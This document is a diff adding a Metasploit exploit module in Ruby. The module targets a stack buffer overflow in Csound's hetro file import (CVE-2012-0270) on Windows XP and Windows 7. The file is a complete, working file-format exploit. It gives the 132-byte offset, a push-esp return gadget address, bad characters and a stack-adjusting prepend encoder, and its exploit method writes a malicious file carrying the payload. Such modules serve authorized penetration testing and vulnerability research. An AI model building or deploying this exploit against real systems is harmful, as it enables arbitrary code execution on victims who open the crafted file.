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| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Exploit::Remote |
| 11 | + Rank = NormalRanking |
| 12 | + |
| 13 | + include Msf::Exploit::FILEFORMAT |
| 14 | + |
| 15 | + def initialize(info = {}) |
| 16 | + super(update_info(info, |
| 17 | + 'Name' => 'Csound hetro File Handling Stack Buffer Overflow', |
| 18 | + 'Description' => %q{ |
| 19 | + This module exploits a buffer overflow in Csound before 5.16.6. |
| 20 | + The overflow occurs when trying to import a malicious hetro file |
| 21 | + from tabular format. |
| 22 | + In order to achieve exploitation the user should import the malicious |
| 23 | + file through csound with a command like "csound -U het_import msf.csd file.het". |
| 24 | + This exploit doesn't work if the "het_import" command is used directly |
| 25 | + to convert the file. |
| 26 | + }, |
| 27 | + 'License' => MSF_LICENSE, |
| 28 | + 'Author' => |
| 29 | + [ |
| 30 | + 'Secunia', # Vulnerability discovery |
| 31 | + 'juan vazquez' # Metasploit module |
| 32 | + ], |
| 33 | + 'Version' => '$Revision: $', |
| 34 | + 'References' => |
| 35 | + [ |
| 36 | + [ 'CVE', '2012-0270' ], |
| 37 | + [ 'OSVDB', '79491' ], |
| 38 | + [ 'BID', '52144' ], |
| 39 | + [ 'URL', 'http://secunia.com/secunia_research/2012-3/' ], |
| 40 | + [ 'URL', 'http://csound.git.sourceforge.net/git/gitweb.cgi?p=csound/csound5.git;a=commit;h=7d617a9551fb6c552ba16874b71266fcd90f3a6f'] |
| 41 | + ], |
| 42 | + 'Payload' => |
| 43 | + { |
| 44 | + 'Space' => 650, |
| 45 | + 'BadChars' => "\x00\x0a\x1a\x2c\xff", |
| 46 | + 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", # Stack adjustment # add esp, -3500 |
| 47 | + 'DisableNops' => 'True' |
| 48 | + }, |
| 49 | + 'Platform' => 'win', |
| 50 | + 'Targets' => |
| 51 | + [ |
| 52 | + [ 'Csound 5.15 / Windows XP SP3 / Windows 7 SP1', |
| 53 | + { |
| 54 | + 'Offset' => 132, |
| 55 | + 'Ret' => 0x6e955446 # push esp # ret / libgcc_s_dw2-1.dll |
| 56 | + } |
| 57 | + ], |
| 58 | + ], |
| 59 | + 'Privileged' => false, |
| 60 | + 'DefaultTarget' => 0, |
| 61 | + 'DisclosureDate' => 'Feb 23 2012')) |
| 62 | + |
| 63 | + register_options( |
| 64 | + [ |
| 65 | + OptString.new('FILENAME', [ false, 'The file name.', 'msf.csd']), |
| 66 | + ], self.class) |
| 67 | + end |
| 68 | + |
| 69 | + def exploit |
| 70 | + sploit = rand_text(target['Offset']) |
| 71 | + sploit << [target.ret].pack("V") |
| 72 | + sploit << payload.encoded |
| 73 | + print_status("Creating '#{datastore['FILENAME']}' file ...") |
| 74 | + file_create(sploit) |
| 75 | + end |
| 76 | + |
| 77 | +end |
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